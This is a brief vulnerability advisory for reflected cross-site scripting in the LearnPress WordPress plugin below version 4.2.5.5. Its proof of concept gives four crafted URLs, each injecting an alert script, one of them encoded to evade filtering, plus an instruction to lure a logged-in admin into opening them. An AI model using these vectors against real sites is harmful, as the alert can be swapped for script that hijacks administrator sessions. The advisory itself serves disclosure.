LearnPress < 4.2.5.5 - Reflected Cross-Site Scripting

Proof of Concept

Make a logged in admin open

v < 4.2.5.2 - https://example.com/?param=value"}';alert(document.domain)<!--

v < 4.2.5.3 - https://example.com/?param=value"}';alert(document.domain);b='

v < 4.2.5.4 - https://example.com/?'-alert(`XSS`)-'=a

v < 4.2.5.5 - https://example.com/instructors/?param=value%26%23x3C%3B%2Fscript%26%23x3E%3B%26%23x3C%3Bscript%26%23x3E%3Balert%26%23x60%3BXSS%26%23x60%3B%26%23x3C%3B%2Fscript%26%23x3E%3B